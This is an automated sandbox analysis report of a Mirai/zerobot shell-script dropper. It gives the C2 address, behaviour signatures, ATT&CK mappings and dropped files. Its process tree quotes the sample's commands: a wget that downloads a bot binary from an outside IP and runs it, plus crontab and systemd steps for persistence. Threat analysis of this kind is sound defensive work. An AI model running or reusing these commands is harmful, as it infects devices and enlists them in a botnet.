Overview

overview

10

Static

static

1

ba9c9d9d36...8a9.sh

ubuntu-18.04-amd64

10

ba9c9d9d36...8a9.sh

debian-9-armhf

10

ba9c9d9d36...8a9.sh

debian-9-mips

10

ba9c9d9d36...8a9.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    118s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/09/2026, 07:29

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General

  • Target
    ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
  • Size 1KB
  • Sample260930-jbbzyavxht
  • SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalationupx

Malware Config

Extracted

Family

  • mirai

C2

  • 94.154.43.30

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai ARM payload 2 IoCs
  • Contacts a large (46734) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 8 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
    /tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/busybox
      /bin/busybox uname -m
      2⤵
        PID:645
      • /bin/rm
        rm -f zerobot.arm7
        2⤵
          PID:647
        • /bin/busybox
          /bin/busybox wget -q -O zerobot.arm7 http://176.65.139.157/fvbig/zerobot.arm7
          2⤵
          • Writes file to tmp directory
          PID:650
        • /bin/chmod
          chmod +x zerobot.arm7
          2⤵
          • File and Directory Permissions Modification
          PID:673
        • /tmp/zerobot.arm7
          ./zerobot.arm7 zerobot.arm7
          2⤵
          • Executes dropped EXE
          • Modifies systemd
          • Reads runtime system information
          PID:674
          • /bin/sh
            /bin/sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"
            3⤵
            • Command and Scripting Interpreter: Unix Shell
            PID:675
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:678
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                PID:680
              • /bin/grep
                grep -v /var/tmp/.sysd
                4⤵
                  PID:679
              • /bin/sh
                /bin/sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable systemd-network-update.service 2>/dev/null; systemctl start systemd-network-update.service 2>/dev/null"
                3⤵
                • Command and Scripting Interpreter: Unix Shell
                PID:681
                • /bin/systemctl
                  systemctl daemon-reload
                  4⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:682
                • /bin/systemctl
                  systemctl enable systemd-network-update.service
                  4⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:695
                • /bin/systemctl
                  systemctl start systemd-network-update.service
                  4⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:710
            • /var/tmp/.sysd
              /var/tmp/.sysd
              2⤵
              • Modifies Watchdog functionality
              • Enumerates active TCP sockets
              • Writes file to system bin folder
              • Changes its process name
              • Reads system network configuration
              • Reads runtime system information
              PID:674
              • /bin/sh
                /bin/sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"
                3⤵
                • Command and Scripting Interpreter: Unix Shell
                PID:719
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:721
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:723
                  • /bin/grep
                    grep -v /var/tmp/.sysd
                    4⤵
                      PID:722
                • /bin/rm
                  rm -f zerobot.arm7
                  2⤵
                    PID:735
                  • /bin/rm
                    rm -f telnet2.sh
                    2⤵
                      PID:737

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        Unix Shell

                        1
                        T1059.004

                        Scheduled Task/Job

                        1
                        T1053

                        Cron

                        1
                        T1053.003

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        XDG Autostart Entries

                        1
                        T1547.013

                        Create or Modify System Process

                        1
                        T1543

                        Systemd Service

                        1
                        T1543.002

                        Scheduled Task/Job

                        1
                        T1053

                        Cron

                        1
                        T1053.003

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        XDG Autostart Entries

                        1
                        T1547.013

                        Create or Modify System Process

                        1
                        T1543

                        Systemd Service

                        1
                        T1543.002

                        Scheduled Task/Job

                        1
                        T1053

                        Cron

                        1
                        T1053.003

                        Defense Evasion

                        File and Directory Permissions Modification

                        1
                        T1222

                        Linux and Mac File and Directory Permissions Modification

                        1
                        T1222.002

                        Impair Defenses

                        1
                        T1562

                        Credential Access

                        Discovery

                        Network Service Discovery

                        2
                        T1046

                        System Information Discovery

                        1
                        T1082

                        System Network Configuration Discovery

                        1
                        T1016

                        Internet Connection Discovery

                        1
                        T1016.001

                        System Network Connections Discovery

                        1
                        T1049

                        Lateral Movement

                        Collection

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

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                        Downloads

                        systemd-network-update.service
                        • Path /etc/systemd/system/systemd-network-update.service
                        • Size 184B
                        • SHA256 2c0ed8e36e0603c11ba5613314d2bd2605e25777a5179c6264da034367c7c21c
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        zerobot.arm7
                        • Path /tmp/zerobot.arm7
                        • Size 278KB
                        • SHA256 62d789bf4e14bdf306249504ff4fa26490a1f58a0b3d35a8cb2dd583aa5abdbb
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        tmp.NqnRQL
                        • Path /var/spool/cron/crontabs/tmp.NqnRQL
                        • Size 175B
                        • SHA256 2aa297b32397754a35ddc0e9cd6044326fc6887f832bdd86ae5fe1cce863a391
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        tmp.ZNSFKG
                        • Path /var/spool/cron/crontabs/tmp.ZNSFKG
                        • Size 175B
                        • SHA256 a1adb70b3d45e55746747d53d467e19b5c59a8b97c61fe92c6417e8974841466
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        .sysd.lock
                        • Path /var/tmp/.sysd.lock
                        • Size 4B
                        • SHA256 3da0f739413d3a706e784bc294de663b37b0c522a11abaf171b988a57a393d74
                        • MD5 SHA1 SHA512
                        Submit Download